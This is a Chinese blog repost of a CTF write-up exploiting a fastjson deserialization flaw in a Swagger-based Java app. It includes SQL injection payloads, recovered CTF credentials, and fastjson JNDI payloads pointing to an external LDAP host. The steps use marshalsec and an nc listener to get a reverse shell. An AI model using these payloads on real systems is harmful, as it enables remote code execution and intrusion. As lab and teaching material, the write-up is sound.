这期内容当中小编将会给大家带来有关如何进行fastjson反序列化漏洞的分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
0x01:写在前面
拿到题目后,一开始通过审计代码发现代码
审计发现一个注入,dbname我们可控
尝试注入
dbName=myapp#' and 1=2 union select name from myapp.user;# dbName=myapp#' and 1=2 union select pwd from myapp.user;#
注入处账户密码留作备用(后面思路转变为exp后发现 上面账号密码没有用)
admin
admin@Rrrr_ctf_asde
然后经过逆向注意到导入了
io.swagger.annotations.ApiOperation;
发现是个swagger
Swagger在平时日常工作中用过是个优秀的文档编辑器
那么直接访问swagger-ui.html
这里想到swagger还有fastjson库 可以将java对象转换成json
19年爆出很多rce漏洞。尝试进行查看
网上查询fastjson得知存在rce漏洞
这个文章真的写的非常详细,可以说是手把手教学
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
看到如下
这里很符合fastjson的反序列化漏洞的json格式
访问得知如下
按着一步一步操作来,首先准备云服务器,并将仓库文件上传到云服务器中。
上传成功以后进行如下操作
首先进行测试
云服务器监听7777端口
在靶场执行
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:7777/Exploit","autoCommit":true}}}
发现有流量回显
那就继续按照文档往下做。
Cd进去进行查看
修改exploit.java的ip为云服务器ip
Javac Exploit.java编译执行后得到Exploit.class
继续进行按照如下步骤继续执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://121.36.19.222/#Exploit
执行成功如下所示,进行监听本地端口1389
python -m SimpleHTTPServer 80
Nc 监听本地的8888端口
提交payload
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:1389/Exploit","autoCommit":true}}}
执行后成功
成功弹到shell ,
执行cat /flag可以得到如下flag
0x02:总结
日常实战中,喜欢burp带上fastjson的检测脚本,遇到可疑的就发包检测一下。显示有漏洞就尝试payload打一下dnslog试试回显,再进一步进行深挖。
上述就是小编为大家分享的如何进行fastjson反序列化漏洞的分析了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注亿速云行业资讯频道。
原创文章,作者:kirin,如若转载,请注明出处:https://blog.ytso.com/222701.html